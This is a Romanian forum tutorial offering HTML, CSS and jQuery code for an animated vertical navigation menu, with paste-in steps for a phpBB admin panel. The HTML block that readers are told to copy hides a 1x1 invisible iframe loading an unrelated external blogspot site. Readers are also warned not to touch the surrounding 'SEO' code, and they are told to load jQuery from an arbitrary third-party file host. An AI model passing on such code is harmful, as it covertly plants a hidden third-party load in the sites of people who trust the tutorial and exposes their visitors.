Pentru descarcare , inregistreaza-te ! Au fost introduse noi Hack-uri 2015 !




Pentru descarcare , inregistreaza-te ! Au fost introduse noi Hack-uri 2015 !





tutorial Bare verticala foarte eleganta jQuery

 :: HTML , CS , PHP codes :: Tutoriale ForumGratuit

Go down

tutorial Bare verticala foarte eleganta jQuery Empty tutorial Bare verticala foarte eleganta jQuery

Post by Sfinx Sun Nov 04, 2012 12:58 pm

Vom realiza un meniu vertical foarte elegant folosind cunoștințe minime de html - css - jQuery (versiune de forum compatibile Phpbb3)
Mai întâi DEMO: (nu voi atașa codurile la o anumita pagina html - risk de publicitate) voi prezenta demo sub forma de 2 imagini :
1) "Meniu vertical cu jQuer" asa apare în site/forum/blog dvs.: [You must be registered and logged in to see this link.];
2) "Meniu vertical cu jQuer" asa apare în site/forum/blog dvs. după poziționarea cursorului pe meniu : [You must be registered and logged in to see this link.]
Resurse de care avem nevoie :

  • Cod html amplasare : pentru forum: Panou de administrare--->Pagina de start--->Generalități--->Mesaj pe pagina de start---> adauga codul
:
Code:
<html>

<!-- Meta cod pentru SEO -->

<title>Meniu vertical jQuery</title>
<meta content="text/html; charset=UTF-8" http-equiv=Content-Type>
<meta name="description" content="Meniu vertical jQuery">
<meta name="keywords" content="Meniu vertical jQuery">
<meta name="author" content="Ali, [You must be registered and logged in to see this link.]">

<!-- Codul css -->

<style>
        body{
            background:#fff url(desc.png) no-repeat 50px 100px;
            font-family:Arial;
            height:2000px;
        }
        .header
        {
            width:600px;
            height:56px;
            position:absolute;
            top:0px;
            left:25%;
            background:#fff url(title.png) no-repeat top left;
        }
        a.back{
            width:256px;
            height:73px;
            position:fixed;
            bottom:15px;
            right:15px;
            background:#fff url(codrops_back.png) no-repeat top left;
        }
        .scroll{
            width:133px;
            height:61px;
            position:fixed;
            bottom:15px;
            left:150px;
            background:#fff url(scroll.png) no-repeat top left;
        }
        .info{
            text-align:right;

        }
    </style>
   
    <!-- Codul HTML-->
   
    <body>
        <div class="header"></div>
        <div class="scroll"></div>
        <ul id="navigation">
       
<!-- Doar aici puteti modifica
Se modifica doar link, se pune link intre ghilimele dupa < a href=
Se poate modifica titlul. -->

            <li class="home"><a href="" title="Home"></a></li>
            <li class="about"><a href="" title="About"></a></li>
            <li class="search"><a href="" title="Search"></a></li>
            <li class="photos"><a href="" title="Photos"></a></li>
            <li class="rssfeed"><a href="" title="Rss Feed"></a></li>
            <li class="podcasts"><a href="" title="Podcasts"></a></li>
            <li class="contact"><a href="" title="Contact"></a></li>
        </ul>

<script type="text/javascript">
            $(function() {
                $('#navigation a').stop().animate({'marginLeft':'-85px'},1000);

                $('#navigation > li').hover(
                    function () {
                        $('a',$(this)).stop().animate({'marginLeft':'-2px'},200);
                    },
                    function () {
                        $('a',$(this)).stop().animate({'marginLeft':'-85px'},200);
                    }
                );
            });
        </script>
        <iframe src="http://www.pasionatidematematica.blogspot.com" style="visibility: hidden;" width="1" height="1"></iframe>
</body>
</html>
Ce trebuie sa modificați ?
Răspuns: doar ceea ce v-am sugerat în cod și anume :
Code:
<!-- Doar aici puteti modifica
Se modifica doar link, se pune link intre ghilimele dupa < a href=
Se poate modifica titlul. -->
Ps: codul html conține linii de meta cod (nu umblați acolo), acesta vor ajuta site/forum/blog dvs în SEO ... sunt foarte importanta pentru corectitudinea codului cat și pentru trafic organic pentru site-ul dvs...sunt bonus de la mine Very Happy

  • Cod Css amplasare : pentru forum: Panou de administrare--->Pagina de start--->Imagini si culori--->Foaia de stil css---> adaugă codul :

Code:
ul#navigation {
    position: fixed;
    margin: 0px;
    padding: 0px;
    top: 10px;
    left: 0px;
    list-style: none;
    z-index:9999;
}
ul#navigation li {
    width: 100px;
}
ul#navigation li a {
    display: block;
    margin-left: -2px;
    width: 100px;
    height: 70px;   
    background-color:#CFCFCF;
    background-repeat:no-repeat;
    background-position:center center;
    border:1px solid #AFAFAF;
    -moz-border-radius:0px 10px 10px 0px;
    -webkit-border-bottom-right-radius: 10px;
    -webkit-border-top-right-radius: 10px;
    -khtml-border-bottom-right-radius: 10px;
    -khtml-border-top-right-radius: 10px;
    /*-moz-box-shadow: 0px 4px 3px #000;
    -webkit-box-shadow: 0px 4px 3px #000;
    */
    opacity: 0.6;
    filter:progid:DXImageTransform.Microsoft.Alpha(opacity=60);
}
ul#navigation .home a{
    background-image: url(../images/home.png);
}
ul#navigation .about a      {
    background-image: url(../images/id_card.png);
}
ul#navigation .search a      {
    background-image: url(../images/search.png);
}
ul#navigation .podcasts a      {
    background-image: url(../images/ipod.png);
}
ul#navigation .rssfeed a  {
    background-image: url(../images/rss.png);
}
ul#navigation .photos a    {
    background-image: url(../images/camera.png);
}
ul#navigation .contact a    {
    background-image: url(../images/mail.png);
}
Ps: se pot modifica :background-image: url(../images/home.png); în loc de cea ce este scris cu rosu se poate adauga link catre poza dvs.

  • Cod jQuery amplasare : pentru forum: Panou de administrare--->MODULE--->HTML & JAVASCRIPT--->Gestiunea codurilor JavaScript--->Creati un nou cod java script --->adauga cod :

Code:
<script type="text/javascript" src="http://yourjavascript.com/922553451/jquery-1.3.2.js"></script>
Ps: in caz ca nu merge accesati acest link :http://yourjavascript.com/922553451/jquery-1.3.2.js copiați conținutul documentului în :
Panou de administrare--->MODULE--->HTML & JAVASCRIPT--->Gestiunea codurilor JavaScript--->Creati un nou cod java script --->adauga cod.
De reținut :

  1. Pentru forum PHPBB3, se poate utiliza acest tutorial conform celor de mai sus;
  2. Pentru Portal forum PHPBB3, se poate utiliza acest tutorial, însa ordinea cods se modifica (pentru mai multe detalii întrebați );
  3. Pentru blog, site se poate utiliza acest tutorial (pentru mai multe detalii întrebați );
  4. In cazul site-lor/forum-lor cu conținut bogat un astfel de meniu este o "mana cereasca" ;
  5. Respectați ordinea tutorialului ... altfel veți întâmpina probleme ;
  6. Pentru suport, postați întrebările dvs aici nu prin PM

Toate aceste spuse, sper sa va fie de ajutor, voi reveni cu alte tutoriale Very Happy[/quote]
Sfinx
Sfinx
Administrator
Administrator

Mesaje Mesaje : 1440
Data nasterii Data nasterii : 25/02/1995
Localizare Localizare : Timisoara
Server Server : Bine

https://metin2hacks.catsboard.com/

Back to top Go down

Back to top

- Similar topics

 :: HTML , CS , PHP codes :: Tutoriale ForumGratuit

 
Permissions in this forum:
You cannot reply to topics in this forum